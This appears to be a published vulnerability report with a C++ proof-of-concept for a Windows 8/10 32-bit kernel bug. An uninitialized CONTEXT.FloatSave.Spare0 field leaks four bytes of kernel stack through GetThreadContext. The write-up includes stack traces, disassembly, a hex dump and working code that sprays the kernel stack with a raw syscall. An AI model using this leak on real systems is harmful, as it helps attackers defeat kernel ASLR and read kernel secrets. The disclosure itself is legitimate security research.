Microsoft Windows Kernel - 'nt!RtlpCopyLegacyContextX86' Stack Memory Disclosure

/*
We have discovered a new Windows kernel memory disclosure vulnerability in the creation and copying of a CONTEXT structure to user-mode memory. Two previous bugs in the nearby code area were reported in issues  #1177  and  #1311 ; in fact, the problem discussed here appears to be a variant of #1177 but with a different trigger (a GetThreadContext() call instead of a generated exception).

The leak was originally detected under the following stack trace:

--- cut ---
  kd> k
   # ChildEBP RetAddr 
  00 a5d2b8f4 81ec3e30 nt!RtlpCopyLegacyContextX86+0x16e
  01 a5d2b91c 82218aec nt!RtlpCopyExtendedContext+0x70
  02 a5d2b96c 8213a22a nt!RtlpWriteExtendedContext+0x66
  03 a5d2bd18 822176bc nt!PspGetContextThreadInternal+0x1c6
  04 a5d2bd44 81fccca7 nt!NtGetContextThread+0x54
  05 a5d2bd44 77a41670 nt!KiSystemServicePostCall
--- cut ---

and more specifically in the copying of the _FLOATING_SAVE_AREA structure when the CONTEXT_FLOATING_POINT flags are set:

--- cut ---
  kd> dt _FLOATING_SAVE_AREA
  ntdll!_FLOATING_SAVE_AREA
     +0x000 ControlWord      : Uint4B
     +0x004 StatusWord       : Uint4B
     +0x008 TagWord          : Uint4B
     +0x00c ErrorOffset      : Uint4B
     +0x010 ErrorSelector    : Uint4B
     +0x014 DataOffset       : Uint4B
     +0x018 DataSelector     : Uint4B
     +0x01c RegisterArea     : [80] UChar
     +0x06c Spare0           : Uint4B
--- cut ---

In that structure, the last 32-bit "Spare0" field is left uninitialized and provided this way to the ring-3 client. The overall CONTEXT structure (which contains the FLOATING_SAVE_AREA) is allocated from the stack with an alloca() call in the nt!PspGetContextThreadInternal function:

--- cut ---
  PAGE:006BA173                 lea     edx, [ebp+var_48]
  PAGE:006BA176                 mov     ecx, [ebp+ContextFlags]
  PAGE:006BA179                 call    RtlGetExtendedContextLength(x,x)
  PAGE:006BA17E                 test    eax, eax
  PAGE:006BA180                 js      short loc_6BA140
  PAGE:006BA182                 mov     eax, [ebp+var_48]
  PAGE:006BA185                 call    __alloca_probe_16 <============================
  PAGE:006BA18A                 mov     [ebp+ms_exc.old_esp], esp
  PAGE:006BA18D                 mov     ecx, esp
  PAGE:006BA18F                 mov     [ebp+var_54], ecx
  PAGE:006BA192                 lea     eax, [ebp+var_4C]
  PAGE:006BA195                 push    eax
  PAGE:006BA196                 mov     edx, [ebp+ContextFlags]
  PAGE:006BA199                 call    RtlInitializeExtendedContext(x,x,x)
--- cut ---

The "Spare0" field is not pre-initialized or written to by any of the routines that fill out the FLOATING_SAVE_AREA structure. As a result, running the attached proof-of-concept program (designed for Windows 10 32-bit version 1709) reveals 4 bytes of kernel stack memory at offset 0x88 of the output region (set to the 0x41 marker with stack-spraying to illustrate the problem). An example output is as follows:

--- cut ---
  00000000: 08 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................
  00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000080: 00 00 00 00 00 00 00 00 41 41 41 41 00 00 00 00 ........AAAA....
  00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000002b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000002c0: 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ................
--- cut ---

Offset 0x88 of the CONTEXT structure on x86 builds indeed corresponds to the 32-bit CONTEXT.FloatSave.Spare0 field. What's most interesting, however, is that the bug only exists on Windows 8 and 10; on Windows 7, we can see that the region obtained through alloca() is instantly zeroed-out with a memset() call:

--- cut ---
  PAGE:0065EE86                 call    RtlGetExtendedContextLength(x,x)
  PAGE:0065EE8B                 cmp     eax, ebx
  PAGE:0065EE8D                 jl      loc_65EFDE
  PAGE:0065EE93                 mov     eax, [ebp+var_2C]
  PAGE:0065EE96                 call    __alloca_probe_16
  PAGE:0065EE9B                 mov     [ebp+ms_exc.old_esp], esp
  PAGE:0065EE9E                 mov     [ebp+var_3C], esp
  PAGE:0065EEA1                 push    [ebp+var_2C]    ; size_t
  PAGE:0065EEA4                 push    ebx             ; int
  PAGE:0065EEA5                 push    [ebp+var_3C]    ; void *
  PAGE:0065EEA8                 call    _memset
--- cut ---

The function call is missing from Windows 8 and later systems, but we are not sure why this regression was introduced.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm {mov eax, ApiNumber};
  __asm {lea edx, ApiNumber + 4};
  __asm {int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Windows 10 32-bit version 1709.
  CONST ULONG __NR_NtGdiEngCreatePalette = 0x1296;

  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[1024];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  SystemCall32(__NR_NtGdiEngCreatePalette, 1, sizeof(buffer) / sizeof(DWORD), buffer, 0, 0, 0);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Initialize the thread as GUI.
  LoadLibrary(L"user32.dll");

  CONTEXT ctx;
  RtlZeroMemory(&ctx, sizeof(ctx));
  ctx.ContextFlags = CONTEXT_FLOATING_POINT;

  SprayKernelStack();

  if (!GetThreadContext(GetCurrentThread(), &ctx)) {
    printf("GetThreadContext failed, %d\n", GetLastError());
    return 1;
  }

  PrintHex((PBYTE)&ctx, sizeof(ctx));

  return 0;
}